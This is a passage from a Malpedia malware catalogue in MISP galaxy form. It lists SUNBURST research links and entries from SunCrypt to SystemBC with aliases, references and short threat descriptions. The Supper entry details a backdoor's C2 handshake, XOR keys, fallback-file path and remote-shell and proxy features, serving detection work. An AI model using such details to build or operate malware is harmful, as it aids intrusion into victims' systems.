https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/

https://us-cert.cisa.gov/ncas/current-activity/2020/12/13/active-exploitation-solarwinds-software

https://twitter.com/ItsReallyNick/status/1338382939835478016

https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS

https://www.cisa.gov/supply-chain-compromise

https://us-cert.cisa.gov/ncas/alerts/aa21-008a

https://unit42.paloaltonetworks.com/atoms/solarphoenix/

https://www.youtube.com/watch?v=dV2QTLSecpc

https://www.bleepingcomputer.com/news/security/fireeye-microsoft-create-kill-switch-for-solarwinds-backdoor/

https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json

https://www.bleepingcomputer.com/news/security/the-solarwinds-cyberattack-the-hack-the-victims-and-what-we-know/

https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection

https://www.cadosecurity.com/post/responding-to-solarigate

https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack

https://securelist.com/sunburst-backdoor-kazuar/99981/

https://www.mimecast.com/blog/important-security-update/

https://www.netresec.com/?page=Blog&month=2020-12&post=Extracting-Security-Products-from-SUNBURST-DNS-Beacons

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware

https://github.com/SentineLabs/SolarWinds_Countermeasures

https://www.youtube.com/watch?v=GfbxHy6xnbA

https://netresec.com/?b=211cd21

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data

https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection

https://twitter.com/cybercdh/status/1338975171093336067

https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst

https://www.youtube.com/watch?v=-Vsgmw2G4Wo

https://www.youtube.com/watch?v=JoMwrkijTZ8

https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident

https://twitter.com/Intel471Inc/status/1339233255741120513

https://www.domaintools.com/resources/blog/change-in-perspective-on-the-utility-of-sunburst-related-network-indicators#

https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc

https://blog.prevasio.com/2020/12/sunburst-backdoor-deeper-look-into.html

https://www.securonix.com/web/wp-content/uploads/2020/12/threat_research_solarwinds_sunburst_eclipser_supply_chain.pdf

https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html

https://www.youtube.com/watch?v=LA-XE5Jy2kU

https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure

https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f

https://www.comae.com/posts/sunburst-memory-analysis/

https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html

https://research.checkpoint.com/2021/deep-into-the-sunburst-attack/

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds

https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/

https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/

https://us-cert.cisa.gov/ncas/alerts/aa21-077a

https://www.mandiant.com/resources/unc2452-merged-into-apt29

https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar

https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign

https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/

https://www.zscaler.com/blogs/security-research/hitchhikers-guide-solarwinds-incident-response

https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpsvQI/view

https://cert.pl/posts/2023/04/kampania-szpiegowska-apt29/

https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/

https://www.wired.com/story/hacker-lexicon-what-is-a-supply-chain-attack/

https://prevasio.com/static/web/viewer.html?file=/static/Anatomy_Of_SolarWinds_Supply_Chain_Attack.pdf

https://pastebin.com/6EDgCKxd

https://mp.weixin.qq.com/s/v-ekPFtVNZG1W7vWjcuVug

https://www.sans.org/webcasts/contrarian-view-solarwinds-119515

https://www.4hou.com/posts/KzZR

https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/

https://www.ironnet.com/blog/solarwinds/sunburst-behavioral-analytics-and-collective-defense-in-action

https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/

https://www.youtube.com/watch?v=cMauHTV-lJg

https://github.com/fireeye/sunburst_countermeasures

https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/

https://medium.com/insomniacs/a-look-into-sunbursts-dga-ba4029193947

https://www.sec.gov/ix?doc=/Archives/edgar/data/1739942/000173994221000076/swi-20210507.htm

https://github.com/sophos-cybersecurity/solarwinds-threathunt

https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/

https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html

https://www.fireeye.com/current-threats/sunburst-malware.html

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-attacks-stealthy-attackers-attempted-evade-detection

https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth

https://twitter.com/0xrb/status/1339199268146442241

https://www.microsoft.com/security/blog/2021/01/14/increasing-resilience-against-solorigate-and-other-sophisticated-attacks-with-microsoft-defender/

https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a

https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html

https://www.gov.pl/web/diplomacy/statement-on-solar-winds-orion-cyberattacks

https://www.brighttalk.com/webcast/7451/469525

https://twitter.com/cybercdh/status/1339241246024404994

https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/

https://www.cyborgsecurity.com/cyborg_labs/threat-hunt-deep-dives-solarwinds-supply-chain-compromise-solorigate-sunburst-backdoor/

https://www.mimecast.com/incident-report/

https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf

https://www.aon.com/cyber-solutions/aon_cyber_labs/cloudy-with-a-chance-of-persistent-email-access/

https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/

https://www.youtube.com/watch?v=mbGN1xqy1jY

https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate

https://twitter.com/FireEye/status/1339295983583244302

https://github.com/RedDrip7/SunBurst_DGA_Decode

https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-command-control

https://www.ironnet.com/blog/a-closer-look-at-the-solarwinds/sunburst-malware-dga-or-dns-tunneling

https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/

https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack

https://blog.cloudflare.com/solarwinds-orion-compromise-trend-data/

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline

https://cocomelonc.github.io/malware/2022/09/10/malware-pers-10.html

https://netresec.com/?b=2113a6a

https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-unique-dga

https://techcommunity.microsoft.com/t5/azure-sentinel/solarwinds-post-compromise-hunting-with-azure-sentinel/ba-p/1995095

https://www.domaintools.com/resources/blog/the-devils-in-the-details-sunburst-attribution

https://www.bleepingcomputer.com/news/security/autodesk-reveals-it-was-targeted-by-russian-solarwinds-hackers/

https://github.com/cisagov/CHIRP

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-a-device-to-cloud-architecture-defends-against-the-solarwinds-supply-chain-compromise/

https://community.riskiq.com/article/9a515637

https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610

https://twitter.com/lordx64/status/1338526166051934213

https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf

https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/

https://blog.prevasio.com/2020/12/sunburst-backdoor-part-ii-dga-list-of.html

https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html

https://mp.weixin.qq.com/s/UqXC1vovKUu97569LkYm2Q

https://www.microsoft.com/security/blog/2021/02/25/microsoft-open-sources-codeql-queries-used-to-hunt-for-solorigate-activity/

https://zengo.com/ungilded-secrets-a-new-paradigm-for-key-security/

https://us-cert.cisa.gov/ncas/alerts/aa20-352a

https://us-cert.cisa.gov/remediating-apt-compromised-networks

https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html

https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/

https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/

https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware

https://blog.prevasio.com/2020/12/sunburst-backdoor-part-iii-dga-security.html

https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs

https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/

https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html

https://netresec.com/?b=211f30f

https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/

https://threatconnect.com/blog/tracking-sunburst-related-activity-with-threatconnect-dashboards

https://youtu.be/Ta_vatZ24Cs?t=59

https://www.domaintools.com/content/conceptualizing-a-continuum-of-cyber-threat-attribution.pdf

https://www.brighttalk.com/webcast/7451/462719

https://twitter.com/megabeets_/status/1339308801112027138

https://www.justice.gov/opa/pr/department-justice-statement-solarwinds-update

https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/

https://labs.sentinelone.com/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/
https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html

SunCrypt

According to PCrisk, Suncrypt ransomware prevents victims from accessing files by encryption. It also renames all encrypted files and creates a ransom message. It renames encrypted files by appending a string of random characters as the new extension.

The tag is: *misp-galaxy:malpedia="SunCrypt"*

SunCrypt is also known as:

Table 5269. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suncrypt
https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://cdn.pathfactory.com/assets/10555/contents/394789/0dd521f8-aa64-4517-834e-bc852e9ab95d.pdf
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://medium.com/@sapphirex00/diving-into-the-sun-suncrypt-a-new-neighbour-in-the-ransomware-mafia-d89010c9df83
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-sheds-light-on-the-maze-ransomware-cartel/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://www.tesorion.nl/en/posts/shining-a-light-on-suncrypts-curious-file-encryption-mechanism/
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://medium.com/s2wlab/case-analysis-of-suncrypt-ransomware-negotiation-and-bitcoin-transaction-43a2194ac0bc
https://pcsxcetrasupport3.wordpress.com/2021/03/28/suncrypt-powershell-obfuscation-shellcode-and-more-yara/
https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://blog.minerva-labs.com/suncrypt-ransomware-gains-new-abilities-in-2022
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.bleepingcomputer.com/news/security/suncrypt-ransomware-is-still-alive-and-kicking-in-2022/
https://medium.com/s2wlab/w4-july-en-story-of-the-week-ransomware-on-the-darkweb-c61965d0386a

SunOrcal

The tag is: *misp-galaxy:malpedia="SunOrcal"*

SunOrcal is also known as:

Table 5270. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal
https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
http://pwc.blogs.com/cyber_security_updates/2016/03/index.html

SunSeed

According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.

The tag is: *misp-galaxy:malpedia="SunSeed"*

SunSeed is also known as:

Table 5271. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.sunseed
https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails
https://blogs.blackberry.com/en/2022/03/threat-thursday-sunseed-malware

SuperBear RAT

The tag is: *misp-galaxy:malpedia="SuperBear RAT"*

SuperBear RAT is also known as:

Table 5272. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.superbear
https://0x0v1.com/posts/superbear/superbear/

SUPERNOVA

According to CISA, SUPERNOVA is a malicious webshell backdoor that allows a remote operator to dynamically inject C# source code into a web portal to subsequently inject code. APT actors use SUPERNOVA to perform reconnaissance, conduct domain mapping, and steal sensitive information and credentials.

The tag is: *misp-galaxy:malpedia="SUPERNOVA"*

SUPERNOVA is also known as:

Table 5273. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.supernova
https://www.solarwinds.com/securityadvisory
https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan
https://github.com/fireeye/sunburst_countermeasures/pull/5
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis
https://www.solarwinds.com/securityadvisory/faq
https://unit42.paloaltonetworks.com/solarstorm-supernova
https://www.anquanke.com/post/id/226029
https://github.com/fireeye/sunburst_countermeasures

https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a
https://www.cisa.gov/news-events/analysis-reports/ar21-112a
https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://unit42.paloaltonetworks.com/solarstorm-supernova/
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a
https://twitter.com/MalwareRE/status/1342888881373503488
https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html
https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html
https://www.youtube.com/watch?v=7WX5fCEzTlA
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group

Supper

Supper is a 64-bit Windows backdoor and tunnelling utility first observed in the wild in July 2024. This malware operates as both a Remote Access Trojan (RAT) and a SOCKS5 proxy, offering threat actors persistent access to infected systems and the ability to route arbitrary traffic through victim environments.

Once executed, it establishes a TCP connection to its primary C2 endpoint, i.e. hardcoded in the file, over port 443. A fallback mechanism allows the malware to retrieve alternate C2 IP addresses from an encoded file, %temp%/s01bafg, ensuring resilience in case the primary server is unavailable. The malware supports up to 16,384 concurrent sessions over a single TCP connection, each uniquely identified via a 16-bit session ID.

Communication begins with an unencrypted 300-byte handshake payload that includes a static bot identifier (0x00691155), system metadata (hostname, domain, OS version, integrity level), and a fixed flag. Following this, all network traffic is wrapped in a 12-byte obfuscated header and an encrypted payload (8 bytes) which consists of two encrypted IP addresses. The header is transformed using two hardcoded XOR keys: 0x4d4d4d4d4d4d4d4d4d and 0x4d4d4d4d. Payload encryption is performed with a non-standard, stateful XOR cipher, where each byte of the message is encrypted based on a calculated offset and a cycling key (xored with 0x4d4d4d4d) derived from the header.

It supports a range of C2 commands, including remote shell execution, session teardown, SOCKS5

proxy operations, self-deletion, and dynamic updating of fallback IPs. When executing commands, Supper spawns a hidden cmd.exe instance and forwards command outputs back to the C2 server after encryption. As a proxy, it accepts operator-specified connection requests, establishes TCP sessions to external targets, and forwards data between the target and the attacker, all managed under the session multiplexing framework.

If instructed or if a C2 session fails, the malware can delete itself using cmd.exe or schtasks.exe, often masquerading the operation under the guise of a scheduled task named "GoogleUpdateTask". The file used to store fallback C2 IPs (%temp%/s01bafg) is updated by the malware using its encryption routine.

The tag is: *misp-galaxy:malpedia="Supper"*

Supper is also known as:

- SocksShell
- ZAPCAT

Table 5274. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.supper
https://c-b.io/2025-06-29+-Supper+is+served[https://c-b.io/2025-06-29-+Supper+is+served]
https://labs.beazley.security/articles/hunting-mice-in-tunnels-ii-fake-captchas-and-ransomware
https://www.huntress.com/blog/gootloader-threat-detection-woff2-obfuscation
https://www.fortinet.com/blog/threat-research/ransomware-roundup-interlock
https://www.virustotal.com/gui/file/48157c03bf9731926f9567fe1fabc807bff166241f8d6c27e6308dde68112669/details
https://blog.sekoia.io/interlock-ransomware-evolving-under-the-radar/

SuppoBox

The tag is: *misp-galaxy:malpedia="SuppoBox"*

SuppoBox is also known as:

- Bayrob
- Nivdort
- pizd

Table 5275. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox

https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf
https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim
https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf
https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1
https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us
https://blog.avast.com/2013/06/18/your-facebook-connection-is-now-secured/

surtr

According to PCrisk, Surtr is ransomware. Malware of this type encrypts files (and renames them) and generates a ransom note. Surtr appends the decryptmydata@mailfence.com email address and the ".SURT" extension to filenames.

The tag is: *misp-galaxy:malpedia="surtr"*

surtr is also known as:

Table 5276. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.surtr
https://citizenlab.ca/2013/08/surtr-malware-family-targeting-the-tibetan-community/

SVCReady

According to PCrisk, SVCReady collects information about the infected system such as username, computer name, time zone, computer manufacturer, BIOS, and firmware. Also, it gathers lists of running processes and installed software. SVCReady sends collected data to the C2 server. Additionally, SVCReady attempts to maintain its foothold on the system by creating a scheduled task.

The tag is: *misp-galaxy:malpedia="SVCReady"*

SVCReady is also known as:

Table 5277. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready
https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/
https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/

SwaetRAT

The tag is: *misp-galaxy:malpedia="SwaetRAT"*

SwaetRAT is also known as:

Table 5278. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swaet_rat
https://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/

SweetSpecter

The tag is: *misp-galaxy:malpedia="SweetSpecter"*

SweetSpecter is also known as:

Table 5279. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sweetspecter
https://unit42.paloaltonetworks.com/operation-diplomatic-specter/

swen

The tag is: *misp-galaxy:malpedia="swen"*

swen is also known as:

Table 5280. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swen
https://en.wikipedia.org/wiki/Swen_(computer_worm)

SwiftSlicer

According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim's Active Directory environment.

The tag is: *misp-galaxy:malpedia="SwiftSlicer"*

SwiftSlicer is also known as:

- JaguarBlade

Table 5281. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer
https://www.welivesecurity.com/2023/01/27/swiftslicer-new-destructive-wiper-malware-ukraine/
https://twitter.com/ESETresearch/status/1618960022150729728
https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf

Sword

The tag is: *misp-galaxy:malpedia="Sword"*

Sword is also known as:

Table 5282. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sword
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

sykipot

The tag is: *misp-galaxy:malpedia="sykipot"*

sykipot is also known as:

- Wkysol
- getkys

Table 5283. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.symantec.com/connect/blogs/sykipot-attacks
https://www.alienvault.com/blogs/labs-research/sykipot-is-back
https://community.rsa.com/thread/185437
https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf

https://www.secureworks.com/research/threat-profiles/bronze-edison

SynAck

The tag is: *misp-galaxy:malpedia="SynAck"*

SynAck is also known as:

Table 5284. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synack
https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/

SyncCrypt

The tag is: *misp-galaxy:malpedia="SyncCrypt"*

SyncCrypt is also known as:

Table 5285. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synccrypt
https://www.bleepingcomputer.com/news/security/synccrypt-ransomware-hides-inside-jpg-files-appends-kk-extension/

Sync-Scheduler

According to Cyfirma, Sync-Scheduler is a dedicated document stealer that targets Word documents, Excel Spreadsheets, PowerPoint presentations, PDFs and ZIP compress files. The malware is written in C++ and equipped with anti-analysis and defense evasion techniques. It uses obfuscation in its code and terminates itself if it detects an analysis environment.

The tag is: *misp-galaxy:malpedia="Sync-Scheduler"*

Sync-Scheduler is also known as:

Table 5286. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sync_scheduler
https://blogs.blackberry.com/en/2024/11/suspected-nation-state-adversary-targets-pakistan-navy-in-cyber-espionage-campaign
https://www.cyfirma.com/research/sync-scheduler-a-dedicated-document-stealer/

SynFlooder

The tag is: *misp-galaxy:malpedia="SynFlooder"*

SynFlooder is also known as:

Table 5287. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synflooder
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Synth Loader

The tag is: *misp-galaxy:malpedia="Synth Loader"*

Synth Loader is also known as:

Table 5288. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.synth_loader

Sys10

The tag is: *misp-galaxy:malpedia="Sys10"*

Sys10 is also known as:

Table 5289. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/

Syscon

SYSCON is a Remote Access Trojan used in a targeted champing against US government agencies. It has been recently observed in conjunction with CARROTBAT and CARROTBALL downloaders and it uses the File Transfer Protocol as Command and Control channel. Use of the family is attributed by Unit 42 to the Konni Group.

The tag is: *misp-galaxy:malpedia="Syscon"*

Syscon is also known as:

Table 5290. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon
http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/
https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/
https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/

SysGet

The tag is: *misp-galaxy:malpedia="SysGet"*

SysGet is also known as:

Table 5291. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysget
http://csecybsec.com/download/zlab/20180713_CSE_APT28_X-Agent_Op-Roman%20Holiday-Report_v6_1.pdf
http://researchcenter.paloaltonetworks.com/2017/01/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/

SysJoker (Windows)

Sysjoker is a backdoor malware that was first discovered in December 2021 by Intezer. It is sophisticated and written from scratch in C++. Sysjoker is a cross-platform malware that has Linux, Windows, and macOS variants. Possible attack vectors for Sysjoker are email attachments, malicious advertisements, and trojanized software.

The tag is: *misp-galaxy:malpedia="SysJoker (Windows)"*

SysJoker (Windows) is also known as:

Table 5292. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker
https://research.checkpoint.com/2023/israel-hamas-war-spotlight-shaking-the-rust-off-sysjoker/
https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/

https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html
https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/

SysKit

The tag is: *misp-galaxy:malpedia="SysKit"*

SysKit is also known as:

- IvizTech
- MANGOPUNCH

Table 5293. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.syskit
https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media
https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain
https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897
https://twitter.com/QW5kcmV3/status/1176861114535165952
https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/

Sysraw Stealer

Sysraw stealer got its name because at some point, it was started as "ZSysRaw\sysraw.exe". PDB strings suggest the name "Clipsa" though. First stage connects to /WPCoreLog/, the second one to /WPSecurity/. Its behavior suggest that it is an info stealer. It creates a rather large amount of files in a subdirectory (e.g. data) named "1?[-+].dat" and POSTs them.

The tag is: *misp-galaxy:malpedia="Sysraw Stealer"*

Sysraw Stealer is also known as:

- Clipsa

Table 5294. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysraw_stealer
https://decoded.avast.io/janrubin/clipsa-multipurpose-password-stealer/

https://zerophagemalware.com/2017/09/21/rig-ek-via-rulan-drops-an-infostealer/

Sysrv-hello (Windows)

Sysrv is a Golang written Cryptojacking malware. There are Windows and Linux variants.

The tag is: *misp-galaxy:malpedia="Sysrv-hello (Windows)"*

Sysrv-hello (Windows) is also known as:

Table 5295. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysrv_hello
https://www.lacework.com/blog/sysrv-hello-expands-infrastructure/
https://darktrace.com/blog/worm-like-propagation-of-sysrv-hello-crypto-jacking-botnet

SysScan

The tag is: *misp-galaxy:malpedia="SysScan"*

SysScan is also known as:

Table 5296. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sysscan

SystemBC (Windows)

SystemBC is a multiplatform proxy malware active since August 2019. It creates SOCKS5 network tunnels in the victim's network and connects to its C2 server using a custom, RC4-encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or mapped into memory. The SystemBC kit, including the C2 panel, server, and malware executables, is sold in underground forums.

The tag is: *misp-galaxy:malpedia="SystemBC (Windows)"*

SystemBC (Windows) is also known as:

- Coroxy
- DroxiDat

Table 5297. Table References

Links
